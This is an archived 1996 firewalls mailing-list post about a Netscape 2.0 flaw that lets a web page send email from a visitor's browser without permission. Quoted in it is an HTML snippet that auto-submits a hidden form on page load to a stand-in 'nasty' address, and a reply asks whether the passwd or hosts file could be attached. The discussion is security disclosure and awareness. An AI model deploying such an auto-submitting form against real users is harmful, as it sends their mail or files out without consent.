Great Circle Associates Firewalls
(April 1996)
 

Indexed By Date: [Previous] [Next] Indexed By Thread: [Previous] [Next]

Subject: Re: BoS: Netscape2.0 sends mail to the world without authority
From: Jeff Fay <fay @ bliss . stetson . edu>
Date: Sun, 28 Apr 1996 16:47:33 +0000 (GMT)
To: "Steven W. Engle" <sengle @ hti . net>
Cc: firewalls @ GreatCircle . COM
In-reply-to: <v02120d01ada89a4b3562 @ [198 . 70 . 56 . 66]>


On Sat, 27 Apr 1996, Steven W. Engle wrote:

> >I noticed, while loading a web page, that there was a mailto: URL active
> >(using the "Easter Egg" Ctrl-Alt-T popup to see active URLs).  Sure enough,
> >after I cancelled that and examined the source, I saw something like this:
> >
> ><body onLoad="document.mailme.submit()">
> ><form method=post name="mailme"
> >action="mailto:nasty @
 secret .
 org?subject=gotcha">
> ><input type=hidden name="hi" value="there">
> ></form>
> >
> >A quick test on my local machine shows that this will send a message to
> >nasty @
 secret .
 org with the subject gotcha and the body "hi=there".
> 
> Is it possible to direct via html that an attachment be included with the
> email? Such as the user's system hosts or passwd file?
> 
> The conversation above was regarding 2.0 Netscape - I presume the same
> situation exists in 2.01? Anyone try this on the beta 3.0?
> 
> --
> Steve Engle
> DHT, Inc.
> sengle @
 hti .
 net

ok a few people have responded...but I am trying to convince some of the 
students here at the University that should no longer use Netscape 2.0 to 
mail...many do not see the problem with using it. I told them long ago 
that it is easy to set up an html document that would make netscape mail. 
The students don't see a problem with this...I would like to know if it 
is possible to send attachments...if so then I could set up a demo and 
hopefully turn some heads around here...if someone knows if it possible 
will they please let me know. 
 Thanks in advance,
 Jeff Fay
 fay @
 bliss .
 stetson .
 edu


References:
Indexed By Date Previous: RE: destruktiv hackers
From: Bruce Marshall <brucem @ wichita . fn . net>
Next: bouncing to another host
From: Joe Smith <joey @ mail . getonthe . net>
Indexed By Thread Previous: Re: BoS: Netscape2.0 sends mail to the world without authority
From: Mike Shaver <shaver @ neon . ingenia . com>
Next: Re: BoS: Netscape2.0 sends mail to the world without authority
From: Shawn Steele <shawn @ aob . org>

Google
 
Search Internet Search www.greatcircle.com